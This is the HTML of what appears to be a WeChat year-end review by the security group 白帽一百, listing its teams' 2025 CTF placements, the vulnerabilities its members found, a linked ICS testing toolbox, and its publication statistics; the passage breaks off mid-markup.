1;box-sizing: border-box;"><div style="height: 100%;box-sizing: border-box;"><div style="width: 100%;height: 100%;background-position: center center;background-repeat: no-repeat;background-size: cover;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/rIpvq0micRGuVdNI2ZKSs0Dk6O5MJEPYO57BqF6uLV9PibaAR6H6HkjKyFKBqhOt121xVFCplF1PqIs7fM4dtAHA/640?wx_fmt=png&#34;);box-sizing: border-box;"><p style="width: 100%;height: 100%;overflow: hidden;line-height: 0;max-width: 100%;box-sizing: border-box;" nodeleaf=""><img style="width: 100%;height: auto;opacity: 0;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.09572649572649573" data-s="300,640" data-w="585" src="https://wechat2rss.xlab.app/img-proxy/?k=52292366&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FrIpvq0micRGuVdNI2ZKSs0Dk6O5MJEPYO57BqF6uLV9PibaAR6H6HkjKyFKBqhOt121xVFCplF1PqIs7fM4dtAHA%2F640%3Fwx_fmt%3Dpng"/></p></div></div></div><div style="width: 89.1129%;height: 90.2369%;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);margin-left: 5.44355%;margin-top: 7.05642%;grid-column-start: 1;grid-row-start: 1;box-sizing: border-box;"><div style="height: 100%;box-sizing: border-box;"><div style="width: 100%;height: 100%;background-position: center center;background-repeat: no-repeat;background-size: cover;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/YBqGg0TUOjRiaWVL3LuEicwrViaa7XSvXvsZ3tiaLLKQHe9Hicr1B7Ye38icLQyib17Q76v1D5bj9yVvhSr2FkIia2ibp3Q/640?wx_fmt=png&#34;);box-sizing: border-box;"><p style="width: 100%;height: 100%;overflow: hidden;line-height: 0;max-width: 100%;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-ratio="1.4219457013574661" data-s="300,640" style="width: 100%;height: auto;opacity: 0;box-sizing: border-box;" data-w="884" src="https://wechat2rss.xlab.app/img-proxy/?k=030653d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FYBqGg0TUOjRiaWVL3LuEicwrViaa7XSvXvsZ3tiaLLKQHe9Hicr1B7Ye38icLQyib17Q76v1D5bj9yVvhSr2FkIia2ibp3Q%2F640%3Fwx_fmt%3Dpng"/></p></div></div></div><div style="width: 67.3387%;height: 60.5169%;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);margin-left: 17.5403%;margin-top: 0.806452%;grid-column-start: 1;grid-row-start: 1;box-sizing: border-box;"><div style="opacity: 0.4;height: 100%;box-sizing: border-box;"><div style="width: 100%;height: 100%;background-position: center center;background-repeat: no-repeat;background-size: cover;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/rIpvq0micRGuVdNI2ZKSs0Dk6O5MJEPYO6LTRdib1ic1LVC2PGBwR1jhcW7C5dNzj9Pz1vBHzbRlDsZBzblqA2sZw/640?wx_fmt=png&#34;);box-sizing: border-box;"><p style="width: 100%;height: 100%;overflow: hidden;line-height: 0;max-width: 100%;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-ratio="1.2619760479041917" data-s="300,640" style="width: 100%;height: auto;opacity: 0;box-sizing: border-box;" data-w="668" src="https://wechat2rss.xlab.app/img-proxy/?k=44f2cabc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FrIpvq0micRGuVdNI2ZKSs0Dk6O5MJEPYO6LTRdib1ic1LVC2PGBwR1jhcW7C5dNzj9Pz1vBHzbRlDsZBzblqA2sZw%2F640%3Fwx_fmt%3Dpng"/></p></div></div></div><div style="width: 48.6747%;height: 25.323%;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);margin-left: 25.66%;margin-top: 48.6525%;grid-column-start: 1;grid-row-start: 1;box-sizing: border-box;"><div style="line-height: 0;font-size: 10px;height: 100%;pointer-events: none;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;pointer-events: none;box-sizing: border-box;" nodeleaf=""><img style="vertical-align: middle;max-width: 100%;width: 100%;height: auto;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.558" data-s="300,640" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=f4e628b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fxbp0ic7awL1QVnhmfAlibLsaUSt0ibu2ichOvNexwM63lMia8COHJLfWibyiaUXQvDxz0xmUaibdpf4x1X2IJwmQ2wmoKA%2F640%3Fwx_fmt%3Dpng"/></p></div></div><div style="width: 3.62903%;height: 2.01005%;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);margin-left: 48.19%;margin-top: 6.14914%;grid-column-start: 1;grid-row-start: 1;box-sizing: border-box;"><div style="height: 100%;box-sizing: border-box;"><div style="width: 100%;height: 100%;background-position: center center;background-repeat: no-repeat;background-size: cover;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/YBqGg0TUOjRiaWVL3LuEicwrViaa7XSvXvs3NLTIFcMzY7cnqn4Y9GYConqhYGUqCtAGOrxd5ZDA7tIaxy8681pbg/640?wx_fmt=png&#34;);box-sizing: border-box;"><p style="width: 100%;height: 100%;overflow: hidden;line-height: 0;max-width: 100%;box-sizing: border-box;" nodeleaf=""><img style="width: 100%;height: auto;opacity: 0;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.7777777777777778" data-s="300,640" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=43179efc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FYBqGg0TUOjRiaWVL3LuEicwrViaa7XSvXvs3NLTIFcMzY7cnqn4Y9GYConqhYGUqCtAGOrxd5ZDA7tIaxy8681pbg%2F640%3Fwx_fmt%3Dpng"/></p></div></div></div></div><div style="display: grid;width: 100%;overflow: hidden;align-self: flex-start;line-height: 1.6;font-size: 16px;letter-spacing: 0px;color: rgb(0, 0, 0);grid-template-columns: 100%;grid-template-rows: 100%;box-sizing: border-box;"><div style="width: 100%;height: 100%;margin-left: 0%;margin-top: 0%;grid-column-start: 1;grid-row-start: 1;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);box-sizing: border-box;"><div style="line-height: 0;height: 100%;pointer-events: none;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;pointer-events: none;box-sizing: border-box;" nodeleaf=""><img style="vertical-align: middle;max-width: 100%;width: 100%;height: auto;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.27314814814814814" data-s="300,640" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a9cf8219&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_png%2FugnYPLVSd8tELjCUsszdsNoQp3eRvXicudibjb3bSxH4cTuagrOv19AnKkeWzTl20iaRmVzH4ZTJQxgtPywJKc5Vg%2F640%3Fwx_fmt%3Dpng"/></p></div></div><div style="width: 12.3908%;height: 29.2935%;margin-left: 10.6005%;margin-top: 13.0531%;grid-column-start: 1;grid-row-start: 1;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);box-sizing: border-box;"><div style="line-height: 0;font-size: 2px;height: 100%;pointer-events: none;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;pointer-events: none;box-sizing: border-box;" nodeleaf=""><img style="vertical-align: middle;max-width: 100%;width: 100%;height: auto;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.6437768240343348" data-s="300,640" data-w="233" src="https://wechat2rss.xlab.app/img-proxy/?k=0f40fe16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FDwbFY9OLZUv0MGXYAHGYw8I63ulicEgPyHU49CQjXfuAbjrNAwAS01zyNicsxV96YT6SdzIIZIP01LdDXlppQSPA%2F640%3Fwx_fmt%3Dgif"/></p></div></div></div><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 85%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;background-color: rgba(255, 255, 255, 0);box-sizing: border-box;"><div style="text-align: right;margin: 10px 0px 20px;line-height: 0;transform: translate3d(4px, 0px, 0px);-webkit-transform: translate3d(4px, 0px, 0px);-moz-transform: translate3d(4px, 0px, 0px);-o-transform: translate3d(4px, 0px, 0px);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 10px;height: auto;box-sizing: border-box;" nodeleaf=""><img style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="4.322033898305085" data-s="300,640" data-w="59" src="https://wechat2rss.xlab.app/img-proxy/?k=cd330287&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FDwbFY9OLZUv0MGXYAHGYw8I63ulicEgPylZqrbz91uQZ4L6nT2OSicsZicxXTriaKg8MU6pBanrx9gvQhzEPk4DKyg%2F640%3Fwx_fmt%3Dgif"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;height: auto;border-right: 1px solid rgb(78, 53, 26);padding: 0px 25px 0px 20px;box-sizing: border-box;"><div style="margin: -40px 0px 0px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(236, 218, 185);font-family: PingFangSC-light;letter-spacing: 2px;box-sizing: border-box;"><p style="margin: 0px 0px 10px;white-space: normal;padding: 0px;box-sizing: border-box;"><span leaf="">欢迎来到「白帽一百年终总结」。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">过去一年中，白帽一百旗下各小组，积极投身国内外各类网络安全赛事活动，在赛事中崭露头角、屡创佳绩</span></p></div></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgba(255, 255, 255, 0);box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: center;font-size: 36px;font-family: PingFangSC-light;letter-spacing: 2px;color: rgb(230, 84, 16);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">Chapter </span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">01</span></span></strong></p></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-repeat: repeat-x;background-attachment: scroll;min-width: 5%;max-width: 100%;height: auto;padding: 15px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/DwbFY9OLZUv0MGXYAHGYw8I63ulicEgPyIf0pgvJvlubMXM4z8BxbwdFfQhntHwZ4LlsELB2jhX891wYUy9aSsw/640?wx_fmt=gif&#34;);background-size: auto 100% !important;background-position: 0% 0% !important;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 28px;height: auto;box-sizing: border-box;" nodeleaf=""><img style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.9917355371900827" data-s="300,640" data-w="121" src="https://wechat2rss.xlab.app/img-proxy/?k=fd3c8e84&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_png%2FugnYPLVSd8tELjCUsszdsNoQp3eRvXicu50QSyiaxfDEIvG2tKHQATKLPEDjULiaQCQvjhbJIibtQNgnich5ialwUVyw%2F640%3Fwx_fmt%3Dpng"/></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 20px;color: rgb(255, 255, 255);letter-spacing: 2px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">回望2025</span></b></p></div></div></div></div></div></div></div><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(15px, 0px, 0px);-webkit-transform: translate3d(15px, 0px, 0px);-moz-transform: translate3d(15px, 0px, 0px);-o-transform: translate3d(15px, 0px, 0px);margin: -40px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 86%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px;border-color: rgb(129, 88, 44);padding: 10px 20px 20px;height: auto;background-color: rgba(255, 255, 255, 0);box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 20px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 12px;box-sizing: border-box;"><div style="text-align: center;margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 42px;height: auto;box-sizing: border-box;" nodeleaf=""><img style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.6437768240343348" data-s="300,640" data-w="233" src="https://wechat2rss.xlab.app/img-proxy/?k=0f40fe16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FDwbFY9OLZUv0MGXYAHGYw8I63ulicEgPyHU49CQjXfuAbjrNAwAS01zyNicsxV96YT6SdzIIZIP01LdDXlppQSPA%2F640%3Fwx_fmt%3Dgif"/></p></div></div></div><div style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;max-width: 100%;height: auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 19px;color: rgb(217, 87, 78);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">W&amp;M</span></strong></p></div></div></div><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: justify;font-family: PingFangSC-light;letter-spacing: 2px;font-size: 14px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="background-color: rgba(254, 255, 255, 0);box-sizing: border-box;"><span leaf="">- 第九届&#34;强网杯&#34;决赛 全国一等奖</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 强网拟态防御赛会 总冠军</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 强网拟态CTF 第二</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- HKCert CTF Quals 国际赛道 冠军</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 阿里云CTF 第五名</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 京麒CTF Quals 第6名</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- XCTF分站赛 SUCTF 第6名</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">……</span></p></div></div></div></div><div style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;max-width: 100%;height: auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 19px;color: rgb(217, 87, 78);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">V&amp;N</span></strong></p></div></div></div><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: justify;font-family: PingFangSC-light;letter-spacing: 2px;font-size: 14px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="background-color: rgba(254, 255, 255, 0);box-sizing: border-box;"><span leaf="">- XCTF Final Live Solo 二等奖</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- XCTF分站赛 ACTF 第4名</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- XCTF分站赛 L3HCTF 第6名</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- XCTF分站赛 TPCTF 第10名</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- XCTF分站赛 SUCTF 第17名</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 阿里云CTF 第13名</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">……</span></p></div></div></div></div><div style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;max-width: 100%;height: auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 19px;color: rgb(217, 87, 78);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">白帽100少先队</span></strong></p></div></div></div><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: justify;font-family: PingFangSC-light;letter-spacing: 2px;font-size: 14px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="background-color: rgba(254, 255, 255, 0);box-sizing: border-box;"><span leaf="">- </span></span><span leaf="">今年成员挖出多个工控漏洞、多个车联网安全漏洞、多个Windows组件漏洞，微软致谢团队成员：novy、01dGu0</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 腾讯SRC年度漏洞猎手、年度新人王：Huuuuu</span></p><p style="text-align: left;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 开源工控设备漏洞验证工具箱：<a href="https://github.com/Fupo-series/ICSEF" target="_blank">https://github.com/Fupo-series/ICSEF</a> </span></p><p style="text-align: left;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 公众号文章：</span></p><p style="text-align: left;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">-- 利用影子认证帧在标准CAN上实现防重放的技术方案</span></p><p style="text-align: left;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">-- UN R155认证视角下的TARA实施：方法论、概念</span></p><p style="text-align: left;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">-- 基于意图工程的自动化攻击演练落地实践</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">……</span></p></div></div></div></div><div style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;max-width: 100%;height: auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 19px;color: rgb(217, 87, 78);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">白帽一百编辑部</span></strong></p></div></div></div><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: justify;font-family: PingFangSC-light;letter-spacing: 2px;font-size: 14px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="background-color: rgba(254, 255, 255, 0);box-sizing: border-box;"><span leaf="">- </span></span><span leaf="">共发布文章23篇，23篇原创文章，累计阅读数超过5万。关注公众号总用户数突破1万4千。在新的一年，白帽一百编辑部会再接再厉为大家带来更优质的网络安全干货，让行业听见白帽一百的声音。</span></p></div></div></div></div></div></div></div></div><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;margin: -15px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: 65%;vertical-align: middle;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="text-align: center;margin: -50px 0px 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 180px;height: auto;box-sizing: border-box;" nodeleaf=""><img style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.25555555555555554" data-s="300,640" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5ce3baba&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_png%2FugnYPLVSd8tELjCUsszdsNoQp3eRvXicuNibUI8IGnm3tTsq2njfOQbWnSfc17av7f4gcqT3zesLelpiappbXTic8g%2F640%3Fwx_fmt%3Dpng"/></p></div></div></div><div style="margin: -50px 0px -175px;line-height: 0;opacity: 0.4;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 280px;height: auto;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-ratio="0.7920353982300885" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-w="904" src="https://wechat2rss.xlab.app/img-proxy/?k=4e5098dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FDwbFY9OLZUv0MGXYAHGYw8I63ulicEgPyhDI1AG2pF50b676ONo78hRAQiafQmibEo5HsTXPE5YOQzkfIT5libG4aw%2F640%3Fwx_fmt%3Dpng"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-repeat: no-repeat;background-attachment: scroll;background-image: url(&#34;https://mmecoa.qpic.cn/mmecoa_png/ugnYPLVSd8tELjCUsszdsNoQp3eRvXicuoic9b8J6D0pVCCL1UvNtfPyABLcKtMUAabUiaWUq5w6sn311ut1wZHjg/640?wx_fmt=png&#34;);background-size: 100% 100% !important;background-position: 50% 50% !important;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: center;font-size: 36px;font-family: PingFangSC-light;letter-spacing: 2px;color: rgb(230, 84, 16);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">Chapter </span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">02</span></span></strong></p></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-repeat: repeat-x;background-attachment: scroll;min-width: 5%;max-width: 100%;height: auto;padding: 15px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/DwbFY9OLZUv0MGXYAHGYw8I63ulicEgPyuiaRmibdpx5OyXbtaibTvqJN1acjgMtTDK5AZmqVRQ2gpe9h7hfVk0QDA/640?wx_fmt=gif&#34;);background-size: auto 100% !important;background-position: 0% 0% !important;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 28px;height: auto;box-sizing: border-box;" nodeleaf=""><img style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.9917355371900827" data-s="300,640" data-w="121" src="https://wechat2rss.xlab.app/img-proxy/?k=fd3c8e84&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_png%2FugnYPLVSd8tELjCUsszdsNoQp3eRvXicu50QSyiaxfDEIvG2tKHQATKLPEDjULiaQCQvjhbJIibtQNgnich5ialwUVyw%2F640%3Fwx_fmt%3Dpng"/></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 20px;color: rgb(255, 255, 255);letter-spacing: 2px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">我们举办的活动</span></strong></p></div></div></div></div></div></div></div><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;transform: translate3d(-15px, 0px, 0px);-webkit-transform: translate3d(-15px, 0px, 0px);-moz-transform: translate3d(-15px, 0px, 0px);-o-transform: translate3d(-15px, 0px, 0px);margin: -40px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 86%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px;border-color: rgb(129, 88, 44);padding: 10px 20px 20px;height: auto;background-color: rgba(255, 255, 255, 0);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 20px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 12px;box-sizing: border-box;"><div style="text-align: center;margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 42px;height: auto;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-ratio="0.6437768240343348" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-w="233" src="https://wechat2rss.xlab.app/img-proxy/?k=0f40fe16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FDwbFY9OLZUv0MGXYAHGYw8I63ulicEgPyHU49CQjXfuAbjrNAwAS01zyNicsxV96YT6SdzIIZIP01LdDXlppQSPA%2F640%3Fwx_fmt%3Dgif"/></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: 